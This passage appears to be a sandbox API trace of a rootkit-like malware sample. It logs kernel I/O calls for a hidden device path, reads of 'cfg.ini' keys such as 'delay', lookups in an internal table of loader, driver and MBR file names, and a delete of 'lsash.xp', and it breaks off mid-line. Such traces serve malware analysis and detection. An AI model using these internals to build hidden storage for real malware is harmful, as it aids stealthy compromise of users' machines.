[0121.934] KeEnterCriticalRegion () [0121.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.934] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.934] KeLeaveCriticalRegion () [0121.934] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.934] KeEnterCriticalRegion () [0121.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.934] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.934] IdePortDispatch () returned 0x103 [0121.934] KeWaitForMutexObject () returned 0x0 [0121.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.934] KeLeaveCriticalRegion () [0121.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.935] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.935] KeEnterCriticalRegion () [0121.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.935] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf8000 [0121.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.935] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.935] IdePortDispatch () returned 0x103 [0121.935] KeWaitForMutexObject () returned 0x0 [0121.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.935] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.935] IdePortDispatch () returned 0x103 [0121.935] KeWaitForMutexObject () returned 0x0 [0121.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.935] KeLeaveCriticalRegion () [0121.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.936] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.936] KeEnterCriticalRegion () [0121.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.936] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.936] KeLeaveCriticalRegion () [0121.936] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.936] KeEnterCriticalRegion () [0121.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.936] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.936] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2360, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.936] KeLeaveCriticalRegion () [0121.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.936] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.936] KeEnterCriticalRegion () [0121.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.936] ExFreePoolWithTag (P=0xfffffa8003be22a0, Tag=0x0) [0121.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.936] KeLeaveCriticalRegion () [0121.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.936] ReleaseMutex (hMutex=0xf0) returned 1 [0121.936] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.936] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.936] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.936] KeEnterCriticalRegion () [0121.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.936] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.936] IdePortDispatch () returned 0x103 [0121.936] KeWaitForMutexObject () returned 0x0 [0121.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.937] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.937] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.937] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.937] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.937] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be21f0 [0121.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.937] KeLeaveCriticalRegion () [0121.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.937] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.937] KeEnterCriticalRegion () [0121.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.937] KeLeaveCriticalRegion () [0121.937] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.937] KeEnterCriticalRegion () [0121.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.937] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.937] IdePortDispatch () returned 0x103 [0121.937] KeWaitForMutexObject () returned 0x0 [0121.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.938] KeLeaveCriticalRegion () [0121.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.938] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.938] KeEnterCriticalRegion () [0121.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.938] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf9000 [0121.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.938] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.938] IdePortDispatch () returned 0x103 [0121.938] KeWaitForMutexObject () returned 0x0 [0121.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.938] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.938] IdePortDispatch () returned 0x103 [0121.938] KeWaitForMutexObject () returned 0x0 [0121.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.938] KeLeaveCriticalRegion () [0121.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.939] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.939] KeEnterCriticalRegion () [0121.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.939] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.939] KeLeaveCriticalRegion () [0121.939] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.939] KeEnterCriticalRegion () [0121.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.939] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.939] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.939] KeLeaveCriticalRegion () [0121.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.939] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.939] KeEnterCriticalRegion () [0121.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.939] ExFreePoolWithTag (P=0xfffffa8003be21f0, Tag=0x0) [0121.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.939] KeLeaveCriticalRegion () [0121.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.939] ReleaseMutex (hMutex=0xf0) returned 1 [0121.939] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.939] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.940] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.940] KeEnterCriticalRegion () [0121.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.940] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.940] IdePortDispatch () returned 0x103 [0121.940] KeWaitForMutexObject () returned 0x0 [0121.940] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.940] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.940] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.940] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.940] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.940] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0121.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.940] KeLeaveCriticalRegion () [0121.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.940] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.940] KeEnterCriticalRegion () [0121.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.940] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.940] KeLeaveCriticalRegion () [0121.940] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.940] KeEnterCriticalRegion () [0121.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.940] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.940] IdePortDispatch () returned 0x103 [0121.940] KeWaitForMutexObject () returned 0x0 [0121.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.941] KeLeaveCriticalRegion () [0121.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.941] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.941] KeEnterCriticalRegion () [0121.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.941] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfa000 [0121.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.941] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.941] IdePortDispatch () returned 0x103 [0121.941] KeWaitForMutexObject () returned 0x0 [0121.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.941] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.941] IdePortDispatch () returned 0x103 [0121.941] KeWaitForMutexObject () returned 0x0 [0121.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.941] KeLeaveCriticalRegion () [0121.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.942] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.942] KeEnterCriticalRegion () [0121.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.942] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.942] KeLeaveCriticalRegion () [0121.942] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.942] KeEnterCriticalRegion () [0121.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.942] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.942] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.942] KeLeaveCriticalRegion () [0121.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.942] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.942] KeEnterCriticalRegion () [0121.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.942] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0121.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.942] KeLeaveCriticalRegion () [0121.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.942] ReleaseMutex (hMutex=0xf0) returned 1 [0121.942] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.942] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.942] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.942] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.943] KeEnterCriticalRegion () [0121.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.943] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.943] IdePortDispatch () returned 0x103 [0121.943] KeWaitForMutexObject () returned 0x0 [0121.943] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.943] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.943] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.943] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.943] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.943] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.943] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.943] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.943] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.943] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.943] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.943] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.943] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.943] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.943] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.943] KeLeaveCriticalRegion () [0121.943] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.943] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.943] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.943] KeEnterCriticalRegion () [0121.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.943] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.943] IdePortDispatch () returned 0x103 [0121.943] KeWaitForMutexObject () returned 0x0 [0121.944] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.944] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.944] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.944] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.944] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.944] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.944] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.944] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.944] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.944] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.944] _strnicmp (_Str1="", 